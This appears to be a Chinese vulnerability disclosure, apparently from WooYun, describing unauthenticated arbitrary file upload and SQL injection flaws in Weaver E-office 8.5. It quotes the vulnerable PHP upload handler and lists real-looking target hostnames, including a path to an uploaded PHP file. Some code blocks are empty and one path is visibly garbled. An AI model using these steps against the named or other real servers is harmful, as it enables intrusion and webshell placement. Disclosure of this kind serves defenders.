简要描述：

泛微E-office 3处sql注射(ROOT SHELL)/2处任意文件上传，不是为了刷漏洞，临睡前顺带又看了看其他目录，发现还有余孽，一并提交

详细说明：

看了wooyun个大牛发的这个产品的漏洞，感觉版本都过低，这里我发一个8.5的版本，里面新增了webservice的相关操作 下来看代码
经过一阵子的翻阅，发现和webservice 并行的目录也存在越权行为，代码结构类似：

第一个目录
webservice-json/login/login.wsdl.php:

?>


http://eoffice.sccm.cn/webservice/login/login.wsdl.php?wsdl
这个文件也没有进行任何auth验证：

我们访问：
http://eoffice.sccm.cn/attachment/1.php
原理都相同，不多赘述
http://oa.sccm.cn//webservice/eoffice.wsdl.php?wsdl
http://oa.vma.cn/webservice/eoffice.wsdl.php?wsdl
http://eoffice.sccm.cn/webservice/eoffice.wsdl.php?wsdl
http://eoffice8.weaver.cn:8028/webservice/eoffice.wsdl.php?wsdl
任意文件上传：
下来看代码：
webservice/upload.php

include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !file_exists( $path ) )
{
				mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'], $fileName );
if ( !file_exists( $fileName ) )
{
				echo "false";
}
else
{
				echo $attachmentID."*".$_FILES['file']['name'];
}


文件上传条件：
1.无需登录
2.文件的路径为attachment/$attachmentID 这里的$attachmentID 会被回显过来
3.无需后缀验证
发送如下请求：

eoffice8.weaver.cn:8028/attachment/1002074664/wooyun.php
其中最后一个官网设置了目录访问权限，所以不能访问那个文件但是文件已经上传上去了，这种情况，如果有特殊说明，必须告知用户，否则后果很严重
第二处：
webservicehttps://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/upload.php:

include_once( "inc/utility_all.php" );
$pathInfor = pathinfo( $_FILES['file']['tmp_name'] );

$role = UPLOADROLE;
$pos = $extension ? strpos( $role, strtoupper( $extension ) ) : false;

{

代码很相似，绕一下逻辑即可，原理就不用解释了
